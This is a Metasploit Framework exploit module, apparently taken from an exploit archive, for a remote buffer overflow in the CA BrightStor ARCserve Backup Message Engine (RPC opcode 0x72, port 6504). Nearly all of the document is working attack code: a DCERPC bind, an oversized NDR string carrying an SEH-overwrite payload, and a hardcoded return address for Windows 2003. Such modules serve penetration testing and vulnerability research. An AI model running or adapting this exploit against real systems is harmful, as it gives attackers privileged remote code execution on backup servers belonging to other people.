CA BrightStor ARCserve Message Engine 0x72 – Remote Buffer Overflow (Metasploit)
## # $Id: message_engine_72.rb 10551 2010-10-05 12:38:46Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup 11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10551 $', 'References' => [ [ 'OSVDB', '68329'], [ 'URL', 'http://www.metasploit.com/users/mc' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ], ], 'DisclosureDate' => 'Oct 4 2010', 'DefaultTarget' => 0)) register_options([Opt::RPORT(6504)], self.class) end def exploit connect handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0) print_status("Trying target #{target.name}...") begin dcerpc_call(0x72, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end =begin /* opcode: 0x72, address: 0x28E893D0 */ short sub_28E893D0 ( [in] handle_t arg_1, [in][ref][string] char * arg_2, [in, out][ref] long * arg_3 ); =end |